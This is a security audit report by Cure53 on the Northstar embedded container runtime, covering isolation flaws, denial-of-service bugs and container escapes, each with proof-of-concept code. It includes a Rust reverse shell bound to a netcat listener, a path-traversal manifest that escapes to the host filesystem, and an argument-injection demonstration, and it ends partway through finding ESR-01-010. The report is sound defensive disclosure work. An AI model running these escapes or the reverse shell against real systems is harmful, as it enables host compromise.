Fine penetration tests for fine websites

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Pentest-Report ESR Labs Northstar Runtime 08.2022

Cure53, Dr.-Ing. M. Heiderich, MSc. H. Moesl, Dipl.-Ing. D. Gstir, R. Weinberger, Dr. A. Pirker, D. Oberhollenzer

Index

Introduction
Scope
Test Methodology
Identified Vulnerabilities
- ESR-01-001 WP1: Argument injection to container start via console (Medium)
- ESR-01-002 WP1: DoS of runtime through install console (Medium)
- ESR-01-003 WP1: Improper filesystem isolation (Critical)
- ESR-01-005 WP1: Missing default network isolation (Medium)
- ESR-01-011 WP1: Runtime DoS through rough init messages (Medium)
- ESR-01-014 WP1: Possible container escape via /proc/1/exe (Critical)

Miscellaneous Issues
- ESR-01-004 WP1: Possible UB due to struct VerityHeader reordering (Info)
- ESR-01-006 WP1: Resource directory host escape (Info)
- ESR-01-007 WP1: Missing default IPC isolation (Medium)
- ESR-01-008 WP1: Unprotected global console connections (Info)
- ESR-01-009 WP1: Runtime DoS by installing NPKs to MemRepository (Low)
- ESR-01-010 WP1: Host stdin/out/err FDs accessible for containers (Medium)
- ESR-01-012 WP1: Lax identity binding of authentication tokens (Info)
- ESR-01-013 WP1: Wrong seccomp filter for CAP_NET_ADMIN (Medium)

Conclusions

Introduction

"Embedded systems control more and more parts of the vehicle. A growing number of software features are tightly integrated into the same amount of hardware. This restricted environment creates the need for robustness, resource efficiency, security, and minimal startup time. Northstar adresses these challenging requirements – a lightweight container runtime for embedded Linux systems."

From https://esrlabs.com/technology/tech-profile-northstar

This report describes the results of a security assessment of the Northstar Embedded Linux Container Runtime. Carried out by Cure53 in August 2022, the project included a penetration test and a dedicated audit of the source code.

The work was requested by the ESR Labs GmbH in May 2022 and it was then scheduled for the summer of the same year. To give some details, this project marks the first security-centered cooperation between Cure53 and the ESR Labs / Northstar team.

Registered as *ESR-01,* the project was carried out by Cure53 in CW33 and CW34, as scheduled. Further commenting on the resources, it needs to be clarified that a total of twenty days were invested to reach the coverage expected for this assignment. A team of six senior testers has been composed and tasked with this project's preparation, execution and finalization.

For optimal structuring and tracking of tasks, the work was split into two separate work packages (WPs):

- **WP1**: White-box penetration tests and assessments of Northstar sources, available as OSS via GitHub
- **WP2**: White-box penetration tests and assessments of Northstar deployment reachable via VM

It can be derived from above that white-box methodology was utilized. Cure53 was provided with documentation, information, as well as all other means of access required to complete the tests. Additionally, all relevant sources were pointed out and/or shared to make sure the project can be executed in line with the agreed-upon framework.

The project progressed effectively on the whole. All preparations were done in CW32 to foster a smooth transition into the testing phase. Over the course of the engagement, the communications were done using a private, dedicated and shared Slack channel connecting the workspaces of the ESR Labs GmbH and Cure53. All involved personnel could join the channel and engage in information exchanges on Slack.

The discussions throughout the test were very good and productive and not many questions had to be asked. Ongoing interactions positively contributed to the overall outcomes of this project. The scope was well-prepared and clear, greatly contributing to the fact that no noteworthy roadblocks were encountered during the test.

Cure53 offered frequent status updates about the test and the emerging findings. Live-reporting was not requested or used during this assessment.

The Cure53 team managed to get very good coverage over the WP1 and WP2 scope items. Among fourteen security-relevant discoveries, six were classified to be security vulnerabilities and eight to be general weaknesses with lower exploitation potential.

The total number of findings is rather excessive in the context of this scope. This concern is exacerbated by the fact that two findings within the Northstar Runtime were ranked as *Critical*. These issues confirm improper filesystem isolation (see ESR-01-003) and demonstrate that a container escape seems possible (see ESR-01-014). As such, both posed major threats for the integrity of the Northstar Runtime.

On the plus side, the Northstar team took immediate action to resolve these and other problems. At the conclusion of the test and the stage of the report preparations, most of the issues - including the *Critical* ones - have been fixed and the repairs were verified by Cure53 as appropriate.

In the following sections, the report will first shed light on the scope and key test parameters, as well as the structure and content of the WPs. A dedicated chapter on test methodology and coverage then clarifies what the Cure53 team did in terms of attack-attempts, coverage and other test-relevant tasks.

Next, all findings will be discussed in grouped vulnerability and miscellaneous categories, then following a chronological order in each group. Alongside technical descriptions, PoC and mitigation advice are supplied when applicable. Finally, the report will close with broader conclusions pertinent to this August 2022 project. Cure53 elaborates on the general impressions and reiterates the verdict based on the testing team’s observations and collected evidence. Tailored hardening recommendations for the Northstar complex are also incorporated into the final section.

Scope

- **Penetration tests & Security assessments of Northstar-embedded Linux container runtime**
  - **WP1**: White-box penetration tests & Assessments of Northstar sources, OSS via GitHub
    - **Sources on GitHub:**
      - https://github.com/esrlabs/northstar/releases/tag/v0.6.0
    - **Relevant parts of the repository:**
      - https://github.com/esrlabs/northstar/tree/v0.6.0/northstar-runtime
  - **WP2**: White-box penetration tests & Assessments of Northstar deployment via VM
    - **Sources on GitHub:**
      - https://github.com/esrlabs/northstar/releases/tag/v0.6.0
    - **Local testing:**
      - A runtime binary was built from the link above; they were installed and tested against locally
  - **Key bits of documentation**
    - **General info**
      - https://github.com/esrlabs/northstar#about
    - **Container**
      - https://github.com/esrlabs/northstar#containers
    - **Processes**
      - https://github.com/esrlabs/northstar#processes
  - **Key focus areas**
    - Cure53 focused on the security promises made by the Northstar system and tried to use "malicious input", which is processed by the utilized apps to achieve, among other things, a container outbreak and similar issues.
    - With regard to the threat model, the tests were focused on malicious input and the existing apps. The apps themselves were classified as "trusted".
  - **Test-supporting material was shared with Cure53**
  - **All relevant sources were shared with Cure53**

Test Methodology

The Northstar container runtime is intended to run on embedded devices in a Linux environment. It supports several commands, including the installation, starting and stopping of containers. For that purpose, Northstar defines a custom format called *NPK* which corresponds to an archive containing the resources of a container. Each NPK archive contains several files, including hashes and a signature.

The operator interacts with the runtime through a console interface. The same console interface is also available to containers if specified within the Manifest of a NPK file (taking permissions into account). Northstar isolates containers by applying *cgroups,* network namespaces and other techniques like *seccomp* to isolate the container process from the host.

The assessment featured a combination of source code review and dynamic testing. To dynamically test the Northstar container runtime, Cure53 set up a running instance used for testing and development of Proof-of-Concepts. Setting up the environment was straightforward since the customer provided a comprehensive documentation on how to set up the runtime and create custom containers.

The source code repository of the Northstar environment was moderate in size, which let the testers perform deep-dives into the codebase. The scope of this assessment was defined to identify the following classes of vulnerabilities:

- Remote Code Execution, LFI and attacks with regard to storage and filesystem
- Attacks with regards to RBAC/ACL and privilege escalations/privilege confusion
- Logic bugs and information leakages
- Cryptography-related issues (design, implementation)
- Attacks related to isolation and sandboxing mechanisms
- Attacks related to Linux-based security mechanisms
- Authentication-related issues.

The testers were focusing on these areas of interest during the source code audit. For that purpose, the testers identified interesting parts within the codebase, which were then investigated in depth. Pinpointed locations within the source code were checked for the following issues:

- Sinks to trigger RCE: It was checked whether it is possible for an attacker to inject arbitrary code into the runtime by - for instance - changing paths to executables.
- Sinks to inject arguments into processes: It was checked whether it is possible for an attacker to control arguments provided to a process upon execution.

- Container escapes with regard to filesystem: It was checked whether it is possible for a container to escape the filesystem isolation of a Northstar container and gain access to unintended directories or files.
- Container escapes with regard to network: It was checked whether it is possible for a container to establish arbitrary network connections from within a container.
- Container escapes connected to IPC: It was checked whether the Northstar runtime properly isolates IPC mechanisms of the host from containers.
- Container escapes connected to IO mechanisms: It was checked whether the Northstar runtime properly isolates the IO mechanisms - like *stdin/out/err* of the host - from containers.
- Signature bypasses for NPK container files: It was checked whether it is possible to bypass the signature checks which the Northstar runtime applies, with the focus on possible installations of malicious, invalidly signed containers.
- Timing attacks on signature verifications: It was checked whether the signature checks in place are vulnerable to timing attacks.
- Privilege escalations for containers achieved through console interface: It was checked whether it is possible for a container to elevate its permissions with regard to the console connection during runtime.
- Denial-of-Service situations due to malicious container console inputs: It was checked whether it is possible for a container to bring the Northstar runtime into an unrecoverable situation deterministically, thereby resulting in a Denial-of-Service situation.
- Information leakages concerning secret/sensitive information: It was checked whether sensitive information - such as keys or symmetric secrets - could leak to other containers during the execution of the Northstar runtime.

It must be noted that the provided list of the executed tests and checks only contains the most important issues and should by no means be considered exhaustive.

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *ESR-01-001*) for the purpose of facilitating any future follow-up correspondence.

ESR-01-001 WP1: Argument injection to container start via console *(Medium)*

During a source code review of the *northstar-0.6.0* repository and the provided documentation, Cure53 found that containers have a connection to the Northstar runtime. This connection is referred to as the ‘console connection’.

Console connections like this one increase the risk of containers being able to execute powerful commands like, for instance, starting a new container. For that purpose, Northstar associates a set of permissions with each container and defines them in the Manifest file. The container is able to execute the corresponding command in line with the Manifest.

As noted, the permissions include initialization of a container. Upon starting a new container via a console connection, the responsible container provides arguments to the *init* process used during the startup. However, it was found that these arguments did not get sanitized with regard to length. Furthermore, there are no checks to determine whether the provided arguments are also part of the Manifest or not.

The current process could be leveraged by an attacker to inject arbitrary arguments to the *init* process of a container, making it possible for a malicious container to override the arguments defined within the Manifest. Depending on the *init* process, this could have a fatal impact.

Proof-of-Concept:

To demonstrate this issue, the *netns* example container as well as the *console* example container were modified. Specifically, the *netns* container Manifest file was modified as follows:

```
name: netns
version: 0.0.1
init: /bin/sh
args:
  - "/tmp/myinit.sh"
  - "/tmp/initfile"
  - "myinittext"
uid: 1000
gid: 1000
netns: container
io:
  stdout: pipe
  stderr: pipe
mounts:
[...]
  /tmp:
    type: bind
    host: /tmp
    options: rw
```

Additionally, the *console* container Manifest was changed to also allow the start of the container:

```
name: console
version: 0.0.1
init: /console
console:
  permissions: [ident, notifications, inspect, kill, list, start]
uid: 1000
gid: 1000
[...]
```

Essentially, the changes to the *init* parameter in the Manifest of the *netns* container will execute */tmp/myinit.sh* script with the parameters */tmp/myinitfile* and *myinittext*. The content of the */tmp/myinit.sh* script can be consulted next.

Script contents:

```
#!/bin/bash

echo "Parameter 1 = $1"
echo "Parameter 2 = $2"

touch $1
echo $2 > $1

while :
do
        echo "Let init process open"
        sleep 1
done
```

Upon starting the *netns* container directly through the runtime, the following output is provided:

```
2022-08-23T09:42:22.924          runtime::fork::init ● DEBUG: Execing
/bin/sh /bin/sh /tmp/myinit.sh /tmp/initfile myinittext
2022-08-23T09:42:22.924          runtime::fork::util ● DEBUG: Setting parent
death signal to SIGKILL
2022-08-23T09:42:22.924          runtime::fork::init ● DEBUG: Waiting for
child process 2 to exit
2022-08-23T09:42:22.924               runtime::state ● INFO : Started
netns:0.0.1 (2517315) in 0.007s
2022-08-23T09:42:22.924          runtime::fork::util ● DEBUG: Setting parent
death signal to SIGKILL
2022-08-23T09:42:22.924             runtime::console ● INFO :
Remote(tcp://127.0.0.1:43572): Connection closed
2022-08-23T09:42:22.925                  netns:0.0.1 ● DEBUG: Parameter 1
= /tmp/initfile
2022-08-23T09:42:22.925                  netns:0.0.1 ● DEBUG: Parameter 2 =
myinittext
2022-08-23T09:42:22.926                  netns:0.0.1 ● DEBUG: Let init
process open
```

To demonstrate the issue, the *src/main.rs* file of the *console* container was modified to trigger the start of the *netns* container.

```
async fn main() -> Result<()> {
       [...]
       // Send signal 15 to ourself
       //client.kill("console:0.0.1", 15).await?;


       client.start_with_args("netns:0.0.1", ["/tmp/myotherinit.sh", "Only one
       parameter"]).await.expect("failed to start netns");

       [...]
       Ok(())
}
```

As highlighted above, the modified *console* container triggers the start of the *netns* container with the arguments */tmp/myotherinit.sh* and the string *Only one parameter*. The content of the */tmp/myotherinit.sh* file is as follows:

```
#!/bin/bash
echo "This is the other initscript with only 1 parameter"
echo "Parameter 1 = $1"
while :
do
        echo "Let the other init process open"
        sleep 1
done
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

If the operator at this point starts the *console* container (assuming that the *netns* container is not running), the runtime provides the following output:

```
2022-08-23T09:48:17.790           runtime::fork::init ● DEBUG: Execing
/bin/sh /bin/sh /tmp/myotherinit.sh Only one parameter
2022-08-23T09:48:17.790           runtime::fork::util ● DEBUG: Setting parent
death signal to SIGKILL
2022-08-23T09:48:17.790           runtime::fork::init ● DEBUG: Waiting for
child process 2 to exit
2022-08-23T09:48:17.791                runtime::state ● INFO : Started
netns:0.0.1 (2518085) in 0.007s
2022-08-23T09:48:17.791           runtime::fork::util ● DEBUG: Setting parent
death signal to SIGKILL
2022-08-23T09:48:17.791                   netns:0.0.1 ● DEBUG: This is the
other initscript with only 1 parameter
2022-08-23T09:48:17.791                   netns:0.0.1 ● DEBUG: Parameter 1 =
Only one parameter
2022-08-23T09:48:17.791                   netns:0.0.1 ● DEBUG: Let the other
init process open
```

As shown, the *netns* container now executes a different script with *only one parameter*, thereby overriding the signed values from the Manifest of the *netns* container.

Affected file:
northstar-0.6.0/northstar-runtime/src/runtime/state.rs

Affected code:
```
pub(super) async fn start(
        &mut self,
        container: &Container,
        args_extra: &[NonNulString],
        env_extra: &HashMap<NonNulString, NonNulString>,
) -> Result<(), Error> {
        [...]
        let mut args = Vec::with_capacity(
                1 + if args_extra.is_empty() {
                        manifest.args.len()
                } else {
                        args_extra.len()
                },
        );
        args.push(init.clone());
        if !args_extra.is_empty() {
                args.extend(args_extra.iter().cloned());
        } else {
                args.extend(manifest.args.iter().cloned());
        };
        [...]
        if let Err(e) = self
                .forker
                .exec(container.clone(), init, args, env, io)
                .await
        {
                [...]
        }
        [...]
}
```

It is recommended to sanitize the arguments provided to the *start* command through console connections of the containers, especially as far as length and content are concerned. The Manifest should contain a maximal set of the allowed arguments and the containers could provide these through the console connection.

ESR-01-002 WP1: DoS of runtime through *install* console (*Medium*)

While reviewing the source code of the *northstar-0.6.0* repository it was identified that each container connects to the runtime of Northstar via a console connection. The purpose of the console connection is to allow containers to trigger actions within the runtime, for instance if they wish to install an NPK file.

To trigger a command, the container is required to have sufficient permissions within the Manifest of a container. It was found, however, that the handler of the *install* command contains an *assert!*[1] statement with regard to the received NPK length and the expected length provided through the command request.

In case that the received NPK length is larger than the expected size, the *assert!* expression evaluates to *false*, thereby resulting in a panic. Ultimately, completing the entire sequence culminates with a shutdown of the entire runtime of Northstar.

Affected file:
northstar-0.6.0/northstar-runtime/src/runtime/console/mod.rs

Affected code:
```
async fn process_request<S>(
        peer: &Peer,
        stream: &mut Framed<S>,
        stop: &CancellationToken,
        configuration: &Configuration,
        event_loop: &EventTx,
        token_validity: time::Duration,
        request: model::Request,
```

[1] https://doc.rust-lang.org/std/macro.assert.html

```
) -> Result<model::Message>
where
        S: AsyncRead + Unpin,
{
        [...]
        match request {
                [...]
                model::Request::Install {
                               repository,
                               mut size,
                        } => {
                        [...]
                        if !stream.read_buffer().is_empty() {
                                let read_buffer = stream.read_buffer_mut().split();
                                [...]
                                assert!(read_buffer.len() as u64 <= size);

                                size -= read_buffer.len() as u64;
                                tx.send(read_buffer.freeze()).await.ok();
                        }
                        [...]
                }
                [...]
        }
        [...]
}
```

In case that the *lengths* do not match, it is recommended to abort the operation rather than shutting down the entire runtime.

***Fix Note**: This issue was communicated, discussed and fixed by the Northstar team[2]. The pull request was verified by Cure53 and the issue no longer exists.*

ESR-01-003 WP1: Improper filesystem isolation (*Critical*)

Cure53 completed a thorough source code review of the Northstar repository and observed some issues with the process of preparing the *mount namespace*. Specifically, Northstar does not remove the old mount tree from the namespace in this process. Instead, it changes the *root* directory using *chroot*.

Since the effect of *chroot* can be undone, a sufficiently privileged container can escape from the *chroot* environment and gain access to the host filesystem.

Affected file:
northstar-0.6.0/northstar-runtime/src/runtime/fork/init/mod.rs

[2] https://github.com/esrlabs/northstar/pull/763

Affected code:
```
impl Init {
	pub fn run(self, mut stream: FramedUnixStream, console: Option<OwnedFd>)
-> ! {

[...]

	// Set the chroot to the containers root mount point
	debug!("Chrooting to {}", self.root.display());
	unistd::chroot(&self.root).expect("failed to chroot");

	// Set current working directory to root
	debug!("Setting current working directory to root");
	env::set_current_dir("/").expect("failed to set cwd to /");

	// UID / GID
	self.set_ids();
```

To eliminate this issue, it is advised to use *pivot_root* or move the old mount tree into a new location and then unmount it. After being unmounted, the old mount tree should no longer be accessible, no matter the privileges within the container.

***Fix Note**: This issue was reported and fixed by the Northstar team while the tests were still ongoing[3]. The pull request was verified by Cure53 and the issue no longer exists.*

ESR-01-005 WP1: Missing default network isolation *(Medium)*

During a source code review of the *northstar-0.6.0* repository, it was found that Northstar Manifests allow a user to define a network namespace used by the container. It should be underlined that network namespaces make it possible to virtually isolate network environments.

Northstar uses the Linux kernel[4] feature to allow an operator to separate the network environments of individual containers through the use of the *netns* parameter within Manifests. It was identified that, in case an operator does not explicitly provide a *netns* parameter, no network isolation gets applied. Hence, the container uses the same network environment as the underlying host.

A malicious container which does not have a *netns* parameter within the Manifest could use this and establish arbitrary network connections. These connections should also concern other containers without a *netns* parameter set. As such, the flaw could result in further, unspecified harm.

[3] https://github.com/esrlabs/northstar/pull/520
[4] https://man7.org/linux/man-pages/man7/namespaces.7.html

Proof-of-Concept:

To demonstrate this issue, the *hello-world* example container was modified and the *main.rs* file was replaced with the content shown below.

```
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

pub fn shell(ip: &str, port: u16) {
       let ip_port = format!("{}:{}", ip, port);

       // Make a TCP stream connection
       let stream = TcpStream::connect(ip_port).unwrap();

       // Use the stream as a file descriptor for sending stdin/stdout/stderr
       let fd = stream.as_raw_fd();

       let exit_status = Command::new("/bin/sh")
              .arg("-i")
              .stdin(unsafe { Stdio::from_raw_fd(fd) })
              .stdout(unsafe { Stdio::from_raw_fd(fd) })
              .stderr(unsafe { Stdio::from_raw_fd(fd) })
              .spawn();

       if let Err(e) = exit_status {
              println!("Error happened! {}", e);
       }
}

fn main() {
       shell("127.0.0.1", 6666);

       let hello = std::env::var("NORTHSTAR_CONTAINER").unwrap_or_else(|_|
       "unknown".into());

       println!("Hello again {}!", hello);
       for i in 0..u64::MAX {
              println!("...and hello again #{} {} ...", i, hello);
              std::thread::sleep(std::time::Duration::from_secs(1));
       }
}
```

Essentially, the application now opens a *shell* and redirects input and output to a socket connection opened on port 6666. Furthermore, the Manifest of the *hello-world* container was modified to include the *bin* folder within the *mounts* section to spawn up the *shell*. The additionally required *mounts* parameter can be seen below.

```
/bin:
        type: bind
        host: /bin
```

Before starting the container, one must start a listener on port 6666 using *netcat*:

```
nc -lvnp 6666
```

As demonstrated by this PoC, there is - by default - no network isolation between host and container.

Affected file:
northstar-0.6.0/northstar-runtime/src/runtime/fork/init/mod.rs

Affected code:
```
fn enter_netns(&self) {
        if let Some(netns) = &self.netns {
                #[cfg(target_os = "android")]
                let path = Path::new("/run/netns").join(netns);
                #[cfg(not(target_os = "android"))]
                let path = Path::new("/var/run/netns").join(netns);

                if path.exists() {
                        let handle = std::fs::OpenOptions::new()
                                .read(true)
                                .write(false)
                                .open(&path)
                                .expect("failed to open netns");
                        debug!("Attaching to network namespace \"{}\"", netns);
                        setns(handle.as_raw_fd(),
                        CloneFlags::CLONE_NEWNET).expect("failed to enter netns");
                } else {
                        warn!("Failed to attach to network namespace \"{}\"",
                        netns);
                }
        }
}
```

It is recommended to create a distinct network namespace for each container. This would facilitate a good isolation level between other containers and the host itself.

ESR-01-011 WP1: Runtime DoS through rough *init* messages (*Medium*)

During a source code review of the *northstar-0.6.0* repository, it was found that Northstar communicates via well-defined messages with the *init* process in the container. By reviewing that channel, it became apparent that Northstar assumes that the *init* process follows the desired protocol. However, a rogue container can take control over the *init* process and send arbitrary messages to the controlling process. This can trigger non-recoverable errors and DoS situations.

Affected file:
northstar-0.6.0/northstar-runtime/src/runtime/fork/forker/process.rs

Affected code:
```
/// Send a exec request to a container
async fn exec(
[...]
       match message_stream.recv().await.expect("failed to receive") {
       Some(init::Message::Forked { .. }) => (),
       _ => panic!("Unexpected message from init"),
       }

       // Construct a future that waits to the init to signal a exit of it's
child
       // Afterwards reap the init process which should have exited already
       let exit = async move {
       let exit_status = match message_stream.recv().await {
              Ok(Some(init::Message::Exit {
              pid: _,
              exit_status,
              })) => exit_status,
              Ok(None) | Err(_) => ExitStatus::Exit(-1),
              Ok(_) => panic!("Unexpected message from init"),
       };
       [...]
}
```

It is recommended to treat all input from the container as hostile and avoid usage of *panic!()*, *assert!()* or other terminating assert statements to deal with malformed messages.

ESR-01-014 WP1: Possible container escape via */proc/1/exe* (***Critical***)

During a source code review of the *northstar-0.6.0* repository it was found that Northstar uses the Northstar executable as *Pid 1 (init)* within the container. As a consequence, */proc/1/exe* within the container points to the *inode* of the Northstar executable on the host-side.

There is an explanation behind this, namely that the */proc/PID/exe* symbolic link is not a real symbolic link on Linux. Hence, read and write operations connected to it will always target the executing binary, regardless of the current mount namespace. With sufficient privileges - or if the container runs as the very same user as the owner of the Northstar binary, the file on the host-side can get overwritten. In effect, the host might be compromised.

Affected file:
northstar-0.6.0/northstar-runtime/src/runtime/fork/init/mod.rs

Proof-of-Concept:

To demonstrate the core of the issue, a *shell* was started in the container and the */proc/1/exe* item was executed. The output proves that the Northstar binary started to run, despite being outside of the container. Overwriting the file is also possible using the same technique towards *O_PATH* and */proc/PID/fd/,* as described in a similar bugfix in LXC[5].

```
exe-5.1# /proc/1/exe
2022-08-26T10:34:30.209                northstar ●  INFO : Northstar Runtime
v0.6.1-pre
```

To overcome the issue, it is advised to stop using Northstar itself as *init* process within the container. This approach can ensure that all */proc/PID/exe* links will always point into the container. Additionally, an alternative mitigation using a *memfd* - as described in the LXC commit[6] - can be applied.

[5] https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
[6] https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

ESR-01-004 WP1: Possible UB due to struct *VerityHeader* reordering (*Info*)

During a source code review of the *northstar-0.6.0* repository, it was identified that Northstar implements *DMVerit*y super-block structure in Rust on Linux. In the Rust programming language, the compiler is free to reorder structure fields, which can lead to undefined behavior.

Affected file:
northstar-0.6.0/northstar-runtime/src/runtime/fork/init/builder.rs

Affected code:
```
#[derive(Debug, Clone)]
pub struct VerityHeader {
        pub header: [u8; 8],
        pub version: u32,
        pub hash_type: u32,
        pub uuid: [u8; 16],
        pub algorithm: [u8; 32],
        pub data_block_size: u32,
        pub hash_block_size: u32,
        pub data_blocks: u64,
        pub salt_size: u16,
        pub salt: [u8; 256],
}
```

It is recommend to use the *#[repr(C)]* directive to make sure this structure remains compatible with C and the compiler does not reorder structure fields.

ESR-01-006 WP1: Resource directory host escape (*Info*)

***Note**: The classification and severity of this issue was downgraded to Info level and miscellaneous nature because Manifests are considered to be fully trustworthy in the provided threat model.*

During a source code review of the *northstar-0.6.0* repository, it was identified that the Northstar runtime supports so-called resource containers. The purpose of such containers is to host resources used by one or more containers. Specifically, the containers mount resources for containers into their filesystem, so as to access files stored within the resource container. For that purpose, the Manifest of an application container defines a mount of type *resource*. Such resource mounts also include a *dir* parameter which points to a specific directory within the resource container. However, the runtime fails to properly sanitize the *dir* parameter and, resultantly, an escape to the host filesystem is feasible.

Proof-of-Concept:

For this Proof-of-Concept, the *hello-resource* example container was used. Before starting the container, a new folder named *test* containing a single file named *poc* got created, as shown below:

```
~/projects/northstar/target/northstar/run$ ls -al ../../../../test/
total 12
drwxrwxr-x 2 <REDACTED> <REDACTED> 4096 Aug 18 14:15 .
drwxrwxr-x 6 <REDACTED> <REDACTED> 4096 Aug 18 14:14 ..
-rw-rw-r-- 1 <REDACTED> <REDACTED>   15 Aug 18 14:15 poc
```

Furthermore, the Manifest of the *hello-resource* container was modified as follows:

```
name: hello-resource
version: 0.0.1
init: /hello-resource
uid: 1000
gid: 1000
mounts:
  /dev:
    type: dev
  /proc:
    type: proc
  /lib:
    type: bind
    host: /lib
  /lib64:
    type: bind
    host: /lib64
  /message:
    type: resource
    name: message
    version: '>=0.0.2'
    dir: /../../../../../../test
  /system:
    type: bind
    host: /system
io:
  stdout: pipe
  stderr: pipe
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Finally, starting the *hello-resource* container reveals the escape to the host filesystem, as shown in the output of the *hello-resource* container below.

```
2022-08-18T12:22:38.778      hello-resource:0.0.1 ●  DEBUG: 0: Content of
/message/poc: I have escaped!
2022-08-18T12:22:39.778      hello-resource:0.0.1 ●  DEBUG: 1: Content of
/message/poc: I have escaped!
```

Affected file:
northstar-0.6.0/northstar-runtime/src/runtime/fork/init/builder.rs

Affected code:
```
fn resource(
	root: &Path,
	target: &Path,
	config: &Config,
	container: &Container,
	dependency: &Container,
	src: &Path,
	options: &mount::MountOptions,
) -> Result<(Mount, Mount), Error> {
	let src = {
		// Join the source of the resource container with the mount dir
		let resource_root =
			config
				.run_dir
				.join(format!("{}:{}", dependency.name(),
				dependency.version()));
		let src = src
			.strip_prefix("/")
			.map(|d| resource_root.join(d))
			.unwrap_or(resource_root);
		if !src.exists() {
			return Err(Error::StartContainerMissingResource(
				container.clone(),
				dependency.name().clone(),
				dependency.version().to_string(),
			));
		}
		src
	};
	[...]
	// Remount ro
	flags.set(MsFlags::MS_REMOUNT, true);
	let remount_ro = Mount::new(Some(src), target, None, flags, None);
	Ok((mount, remount_ro))
}
```

Even though this issue goes beyond the threat model set for Northstar, Cure53 recommends applying proper hygiene and sanitizing the *dir* parameter. This would mitigate host filesystem escapes for resource mounts.

ESR-01-007 WP1: Missing default IPC isolation (*Medium*)

During a source code review of the *northstar-0.6.0* repository, it was identified that Northstar does not create a distinct IPC namespace for each container. As a consequence, containers can participate in and observe SysV IPC components such as shared memory, semaphores or message queues of other containers and the host itself.

Affected file:
northstar-0.6.0/northstar-runtime/src/runtime/fork/forker/process.rs

Affected code:
```
/// Create a new init process ("container")
async fn create(init: Init, console: Option<OwnedFd>) -> (Pid, FramedUnixStream)
{
[...]

        // Create pid namespace
        debug!("Creating pid namespace");
        nix::sched::unshare(nix::sched::CloneFlags::CLONE_NEWPID)
             .expect("failed to create pid namespace");

        // Work around the borrow checker and fork
        let stream = stream.second().into_raw_fd();
```

It is recommended to “unshare” the IPC namespace while “unsharing” the PID namespace. This would foster proper isolation of IPC.

ESR-01-008 WP1: Unprotected global console connections (*Info*)

During a source code review of the *northstar-0.6.0* repository and the provided documentation, it was found that the Northstar runtime supports a global console which can make configuration changes within the Northstar project.

More precisely, an operator configures the global console connection within the *config* file of the Northstar runtime. Valid connections for the global console are either TCP/IP or Unix sockets. On starting the runtime, the configuration file is read. This either opens up a TCP/IP or Unix socket for incoming console connections. Cure53 confirmed that the connection neither implemented authentication, nor encryption of any kind.

An attacker who is able to reach either the TCP/IP or Unix socket can send arbitrary commands to the console. By default, the connection allows for all permissions.

Furthermore, as described in ESR-01-005, malicious containers can reach the global console connection in case it is not deactivated within the *config* file. Hence, an attacker from within a malicious container could elevate their permissions by directly communicating with the global console instead of using the console connection between the container and the runtime.

Affected file:
northstar-0.6.0/northstar-runtime/src/runtime/mod.rs

Affected code:
```
async fn run(
       config: Config,
       token: CancellationToken,
       forker: (Pid, Streams),
) -> anyhow::Result<()> {
       [...]
       let console = if !config.consoles.is_empty() {
              let mut console = console::Console::new(event_tx.clone(),
              notification_tx.clone());
              for (url, configuration) in config.consoles.iter() {
                     console
                            .listen(url, configuration, config.token_validity)
                            .await?;
              }
              Some(console)
              } else {
                     None
       };
       [...]
}
```

Affected file:
northstar-0.6.0/northstar-runtime/src/runtime/console/mod.rs

Affected code:
```
pub(super) async fn listen(
       &mut self,
       url: &Url,
       configuration: &Configuration,
       token_validity: time::Duration,
) -> Result<()> {
       [...]
       let task = match Listener::new(url)
              .await
              .context("failed to start console listener")?
       {
              Listener::Tcp(listener) => task::spawn(async move {
```

```
                        serve(
                                || listener.accept(),
                                event_tx,
                                notification_tx,
                                stop,
                                configuration,
                                token_validity,
                        )
                        .await
                }),
                Listener::Unix(listener) => task::spawn(async move {
                        serve(
                                || listener.accept(),
                                event_tx,
                                notification_tx,
                                stop,
                                configuration,
                                token_validity,
                        )
                        .await
                }),
        };
        [...]
}
```

If at all possible, it is recommended to remove the global console from production builds entirely. In case this is not achievable, the global console should implement authentication based on a password which gets chosen by the operator during the installation of the Northstar runtime.

ESR-01-009 WP1: Runtime DoS by installing NPKs to *MemRepository* (*Low*)

While reviewing the source code of the *northstar-0.6.0* repository, Cure53 found that the Northstar runtime supported two different kinds of container repositories. Specifically, these encompass a directory and a memory repository. The memory repository, as the name suggests, keeps track of the available containers in memory. For that purpose, it uses a *HashMap* which maps a container to an *NPK*. However, the memory repository does not enforce an upper limit on the number of containers which the memory repository can track.

A container with the *install* permission could use this setting and continuously install new containers at runtime. In an embedded environment where memory is limited, this could lead to a Denial-of-Service situation for the container runtime.

One can pertinently note that this issue has also been discussed with the customer during this security assessment; even though memory repositories are not typically used in production environments, it was mutually agreed to list this issue for completeness' reasons.

Affected file:
northstar-0.6.0/northstar-runtime/src/runtime/repository.rs

Affected code:
```
async fn insert(&mut self, rx: &mut Receiver<Bytes>) -> Result<Container> {
       [...]
       if self.containers.contains_key(&container) {
              warn!(
              "Container {} is already present in repository. Dropping...",
              container
              );
              bail!("{} already in repository", container)
       } else {
              self.containers.insert(container.clone(), npk);
              Ok(container)
       }
}
```

It is recommended to enforce an upper limit with regard to the number of containers which a memory repository keeps track of.

ESR-01-010 WP1: Host *stdin/out/err* FDs accessible for containers *(Medium)*

Cure53 confirmed in the code of the *northstar-0.6.0* repository that Northstar inherits *stdin/out/err* for the container. While inheriting file descriptors is not a problem *per se*, Northstar directly passes the host *stdin/out/err* file descriptors to the container *init*.

